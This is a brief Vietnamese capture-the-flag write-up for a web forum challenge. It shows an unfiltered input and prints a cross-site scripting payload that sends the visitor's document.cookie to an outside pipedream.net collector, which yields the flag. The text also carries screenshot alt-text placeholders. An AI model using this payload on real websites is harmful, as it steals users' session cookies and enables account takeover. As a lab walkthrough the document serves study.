Đầu tiên vào trang web thì ta chưa thấy đây là 1 web forum thông thường, ta sẽ kiểm tra source

Graphical user interface, text, application, email

Description automatically generated

Thấy không có filter, ta sẽ thực hiện tấn công bằng lệnh bên dưới

<script>document.write(“<img src=https://eon5wu9esj2rcgn.m.pipedream.net?=”+document.cookie+”’></img>”);</script>

Graphical user interface, application, Word

Description automatically generated

Ta có được flag

A screenshot of a computer

Description automatically generated